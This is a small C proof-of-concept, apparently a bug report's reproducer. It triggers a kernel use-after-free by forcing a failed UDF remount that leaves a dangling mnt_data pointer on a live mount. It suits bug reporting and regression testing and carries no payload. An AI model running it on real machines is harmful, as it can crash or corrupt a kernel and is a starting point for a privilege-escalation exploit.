/* DF-3164 trigger -- failed MNT_UPDATE of a live UDF mount.
 *
 * Calls mount(2) directly with MNT_UPDATE and a NEW fspec (/dev/vn1,
 * a device holding garbage).  udf_mount() falls through to udf_mountfs()
 * (udf_vfsops.c:153-157 -> 186), which clobbers mp->mnt_data (:265) and
 * then fails at the anchor checktag (:283) -> bail frees the new udfmp
 * without restoring mp->mnt_data (:393-403).  sys_mount's update-failure
 * path (vfs_syscalls.c:408-419) keeps the mount alive with the dangling
 * pointer.
 *
 * Layout mirrors sys/vfs/udf/udf_mount.h.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct udf_args_df {
	char	*fspec;
	struct	export_args export;
	int	flags;
};

int
main(int argc, char **argv)
{
	struct udf_args_df args;
	const char *spec = argc > 1 ? argv[1] : "/dev/vn1";
	const char *node = argc > 2 ? argv[2] : "/mnt";
	int rc;

	memset(&args, 0, sizeof(args));
	args.fspec = strdup(spec);

	rc = mount("udf", node, MNT_RDONLY | MNT_UPDATE, &args);
	printf("mount(\"udf\", \"%s\", MNT_RDONLY|MNT_UPDATE, fspec=\"%s\")"
	       " = %d errno=%d (%s)\n", node, spec, rc,
	       rc == -1 ? errno : 0, rc == -1 ? strerror(errno) : "OK");
	if (rc == 0)
		fprintf(stderr, "UNEXPECTED SUCCESS (remounted)\n");
	return (rc == -1 ? 0 : 1);
}
